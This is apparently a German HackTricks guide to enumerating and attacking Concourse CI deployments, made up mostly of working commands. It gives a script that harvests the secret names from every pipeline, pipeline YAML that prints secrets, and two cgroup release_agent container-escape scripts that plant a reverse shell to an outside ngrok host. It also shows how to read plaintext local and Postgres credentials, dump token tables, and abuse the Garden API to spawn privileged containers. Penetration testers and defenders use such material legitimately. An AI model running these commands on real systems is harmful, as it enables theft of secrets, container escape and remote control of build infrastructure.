Concourse Enumeration & Attacks
Reading time: 16 minutes
Concourse Enumeration & Attacks
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Benutzerrollen & Berechtigungen
Concourse kommt mit fünf Rollen:
- Concourse Admin: Diese Rolle wird nur den Eigentümern des Hauptteams (standardmäßiges anfängliches Concourse-Team) zugewiesen. Admins können andere Teams konfigurieren (z.B.:
fly set-team
,fly destroy-team
...). Die Berechtigungen dieser Rolle können nicht durch RBAC beeinflusst werden. - owner: Team-Eigentümer können alles innerhalb des Teams ändern.
- member: Team-Mitglieder können lesen und schreiben innerhalb der Team-Ressourcen, können jedoch die Teameinstellungen nicht ändern.
- pipeline-operator: Pipeline-Betreiber können Pipeline-Operationen wie das Auslösen von Builds und das Festlegen von Ressourcen durchführen, können jedoch die Pipeline-Konfigurationen nicht aktualisieren.
- viewer: Team-Zuschauer haben "Nur-Lese"-Zugriff auf ein Team und dessen Pipelines.
note
Darüber hinaus können die Berechtigungen der Rollen owner, member, pipeline-operator und viewer durch die Konfiguration von RBAC (insbesondere durch die Konfiguration ihrer Aktionen) geändert werden. Lesen Sie mehr darüber in: https://concourse-ci.org/user-roles.html
Beachten Sie, dass Concourse Pipelines innerhalb von Teams gruppiert. Daher können Benutzer, die zu einem Team gehören, diese Pipelines verwalten, und mehrere Teams können existieren. Ein Benutzer kann mehreren Teams angehören und unterschiedliche Berechtigungen in jedem von ihnen haben.
Vars & Credential Manager
In den YAML-Konfigurationen können Sie Werte mit der Syntax ((_source-name_:_secret-path_._secret-field_))
konfigurieren.
Aus den Dokumenten: Der source-name ist optional, und wenn er weggelassen wird, wird der clusterweite Credential Manager verwendet, oder der Wert kann statisch bereitgestellt werden.
Das optionale _secret-field_ gibt ein Feld im abgerufenen Geheimnis an, das gelesen werden soll. Wenn es weggelassen wird, kann der Credential Manager wählen, ein 'Standardfeld' aus dem abgerufenen Credential zu lesen, wenn das Feld existiert.
Darüber hinaus können der secret-path und secret-field von doppelten Anführungszeichen "..."
umgeben sein, wenn sie spezielle Zeichen wie .
und :
enthalten. Zum Beispiel wird ((source:"my.secret"."field:1"))
den secret-path auf my.secret
und das secret-field auf field:1
setzen.
Statische Vars
Statische Vars können in Aufgaben-Schritten angegeben werden:
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
Oder verwenden Sie die folgenden fly
Argumente:
-v
oder--var
NAME=VALUE
setzt den StringVALUE
als Wert für die VariableNAME
.-y
oder--yaml-var
NAME=VALUE
analysiertVALUE
als YAML und setzt es als Wert für die VariableNAME
.-i
oder--instance-var
NAME=VALUE
analysiertVALUE
als YAML und setzt es als Wert für die InstanzvariableNAME
. Siehe Grouping Pipelines, um mehr über Instanzvariablen zu erfahren.-l
oder--load-vars-from
FILE
lädtFILE
, ein YAML-Dokument, das die Zuordnung von Variablennamen zu Werten enthält, und setzt sie alle.
Credential Management
Es gibt verschiedene Möglichkeiten, wie ein Credential Manager in einer Pipeline angegeben werden kann, lesen Sie mehr in https://concourse-ci.org/creds.html.
Darüber hinaus unterstützt Concourse verschiedene Credential Manager:
- The Vault credential manager
- The CredHub credential manager
- The AWS SSM credential manager
- The AWS Secrets Manager credential manager
- Kubernetes Credential Manager
- The Conjur credential manager
- Caching credentials
- Redacting credentials
- Retrying failed fetches
caution
Beachten Sie, dass Sie, wenn Sie eine Art von Schreibzugriff auf Concourse haben, Jobs erstellen können, um diese Geheimnisse zu exfiltrieren, da Concourse in der Lage sein muss, auf sie zuzugreifen.
Concourse Enumeration
Um eine Concourse-Umgebung zu enumerieren, müssen Sie zuerst gültige Anmeldeinformationen sammeln oder ein authentifiziertes Token finden, wahrscheinlich in einer .flyrc
-Konfigurationsdatei.
Login und aktuelle Benutzer-Enumeration
- Um sich anzumelden, müssen Sie den Endpunkt, den Teamnamen (Standard ist
main
) und ein Team, dem der Benutzer angehört, kennen: fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]
- Konfigurierte Ziele abrufen:
fly targets
- Überprüfen, ob die konfigurierte Zielverbindung noch gültig ist:
fly -t <target> status
- Rolle des Benutzers gegenüber dem angegebenen Ziel abrufen:
fly -t <target> userinfo
note
Beachten Sie, dass das API-Token standardmäßig in $HOME/.flyrc
gespeichert wird. Wenn Sie Maschinen durchsuchen, könnten Sie dort die Anmeldeinformationen finden.
Teams & Benutzer
- Eine Liste der Teams abrufen
fly -t <target> teams
- Rollen innerhalb des Teams abrufen
fly -t <target> get-team -n <team-name>
- Eine Liste der Benutzer abrufen
fly -t <target> active-users
Pipelines
- Liste der Pipelines:
fly -t <target> pipelines -a
- Pipeline-YAML abrufen (sensible Informationen könnten in der Definition gefunden werden):
fly -t <target> get-pipeline -p <pipeline-name>
- Alle konfigurierten Variablen der Pipeline abrufen
for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done
- Alle geheimen Namen der Pipelines abrufen (wenn Sie einen Job erstellen/modifizieren oder einen Container hijacken können, könnten Sie sie exfiltrieren):
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
Container & Worker
- Liste Worker:
fly -t <target> workers
- Liste Container:
fly -t <target> containers
- Liste Builds (um zu sehen, was läuft):
fly -t <target> builds
Concourse Angriffe
Credentials Brute-Force
- admin:admin
- test:test
Aufzählung von Secrets und Parametern
Im vorherigen Abschnitt haben wir gesehen, wie Sie alle Geheimnisnamen und Variablen abrufen können, die von der Pipeline verwendet werden. Die Variablen können sensible Informationen enthalten und der Name der Secrets wird später nützlich sein, um zu versuchen, sie zu stehlen.
Sitzung innerhalb eines laufenden oder kürzlich ausgeführten Containers
Wenn Sie genügend Berechtigungen (Mitgliedsrolle oder mehr) haben, können Sie Pipelines und Rollen auflisten und einfach eine Sitzung innerhalb des <pipeline>/<job>
Containers mit folgendem Befehl erhalten:
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
Mit diesen Berechtigungen könnten Sie in der Lage sein:
- Die Geheimnisse im Container zu stehlen
- Versuchen, zum Knoten zu entkommen
- Cloud-Metadaten-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten, wenn möglich)
Pipeline-Erstellung/-Änderung
Wenn Sie genügend Berechtigungen (Mitgliedsrolle oder mehr) haben, können Sie neue Pipelines erstellen/ändern. Überprüfen Sie dieses Beispiel:
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
Mit der Änderung/Erstellung einer neuen Pipeline können Sie:
- Geheimnisse stehlen (indem Sie sie ausgeben oder in den Container gelangen und
env
ausführen) - Zu dem Knoten entkommen (indem Sie Ihnen genügend Berechtigungen geben -
privileged: true
) - Cloud-Metadaten-Endpunkt auflisten/missbrauchen (vom Pod und vom Knoten)
- Erstellte Pipeline löschen
Benutzerdefinierte Aufgabe ausführen
Dies ist ähnlich wie die vorherige Methode, aber anstatt eine ganze neue Pipeline zu ändern/zu erstellen, können Sie einfach eine benutzerdefinierte Aufgabe ausführen (die wahrscheinlich viel heimlicher sein wird):
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml
Ausbrechen zum Knoten von privilegierter Aufgabe
In den vorherigen Abschnitten haben wir gesehen, wie man eine privilegierte Aufgabe mit concourse ausführt. Dies wird dem Container nicht genau den gleichen Zugriff wie das privilegierte Flag in einem Docker-Container geben. Zum Beispiel werden Sie das Knoten-Dateisystemgerät in /dev nicht sehen, sodass der Ausbruch "komplexer" sein könnte.
In dem folgenden PoC werden wir den release_agent verwenden, um mit einigen kleinen Modifikationen auszubrechen:
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"
## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)
## Then next part I think is constant "hostpath-provisioner/default/"
## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)
## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for
# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"
# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
warning
Wie Sie vielleicht bemerkt haben, handelt es sich hierbei nur um eine reguläre release_agent-Escape, bei der der Pfad des cmd im Knoten geändert wird.
Escaping zum Knoten von einem Worker-Container
Eine reguläre release_agent-Escape mit einer geringfügigen Modifikation ist dafür ausreichend:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================
# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
Escaping to the node from the Web container
Selbst wenn der Web-Container einige Verteidigungen deaktiviert hat, läuft er nicht als ein gewöhnlicher privilegierter Container (zum Beispiel kannst du nicht mounten und die Fähigkeiten sind sehr begrenzt, sodass alle einfachen Möglichkeiten, aus dem Container zu entkommen, nutzlos sind).
Allerdings speichert er lokale Anmeldeinformationen im Klartext:
cat /concourse-auth/local-users
test:test
env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
Sie könnten diese Anmeldeinformationen verwenden, um sich am Webserver anzumelden und einen privilegierten Container zu erstellen und zum Knoten zu entkommen.
In der Umgebung finden Sie auch Informationen zum Zugriff auf die postgresql-Instanz, die concourse verwendet (Adresse, Benutzername, Passwort und Datenbank unter anderem Informationen):
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]
# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
Missbrauch des Garden-Dienstes - Kein echter Angriff
warning
Dies sind nur einige interessante Hinweise zum Dienst, aber da er nur auf localhost hört, werden diese Hinweise keinen Einfluss haben, den wir nicht bereits zuvor ausgenutzt haben.
Standardmäßig wird jeder Concourse-Worker einen Garden Dienst auf Port 7777 ausführen. Dieser Dienst wird vom Web-Master verwendet, um dem Worker anzuzeigen, was er ausführen muss (das Bild herunterzuladen und jede Aufgabe auszuführen). Das klingt ziemlich gut für einen Angreifer, aber es gibt einige gute Schutzmaßnahmen:
- Er ist nur lokal exponiert (127..0.0.1) und ich denke, wenn der Worker sich mit dem Web über den speziellen SSH-Dienst authentifiziert, wird ein Tunnel erstellt, damit der Webserver mit jedem Garden-Dienst innerhalb jedes Workers kommunizieren kann.
- Der Webserver überwacht die laufenden Container alle paar Sekunden, und unerwartete Container werden gelöscht. Wenn Sie also einen benutzerdefinierten Container ausführen möchten, müssen Sie mit der Kommunikation zwischen dem Webserver und dem Garden-Dienst manipulieren.
Concourse-Worker laufen mit hohen Containerprivilegien:
Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
Allerdings funktionieren Techniken wie das Mounten des /dev-Geräts des Knotens oder des release_agent nicht (da das echte Gerät mit dem Dateisystem des Knotens nicht zugänglich ist, nur ein virtuelles). Wir können nicht auf Prozesse des Knotens zugreifen, daher wird das Entkommen aus dem Knoten ohne Kernel-Exploits kompliziert.
note
Im vorherigen Abschnitt haben wir gesehen, wie man aus einem privilegierten Container entkommt. Wenn wir also Befehle in einem privilegierten Container ausführen können, der vom aktuellen Worker erstellt wurde, könnten wir zum Knoten entkommen.
Beachten Sie, dass ich beim Spielen mit Concourse festgestellt habe, dass die Prozesse des Containers zugänglich sind, wenn ein neuer Container zum Ausführen von etwas erstellt wird, sodass es ist, als würde ein Container einen neuen Container in sich erstellen.
In einen laufenden privilegierten Container gelangen
# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}
# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
Erstellen eines neuen privilegierten Containers
Sie können sehr einfach einen neuen Container erstellen (führen Sie einfach eine zufällige UID aus) und etwas darauf ausführen:
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
Der Webserver überprüft jedoch alle paar Sekunden die laufenden Container, und wenn ein unerwarteter entdeckt wird, wird er gelöscht. Da die Kommunikation über HTTP erfolgt, könnten Sie die Kommunikation manipulieren, um die Löschung unerwarteter Container zu vermeiden:
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.
T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}
T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
Referenzen
- https://concourse-ci.org/vars.html
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.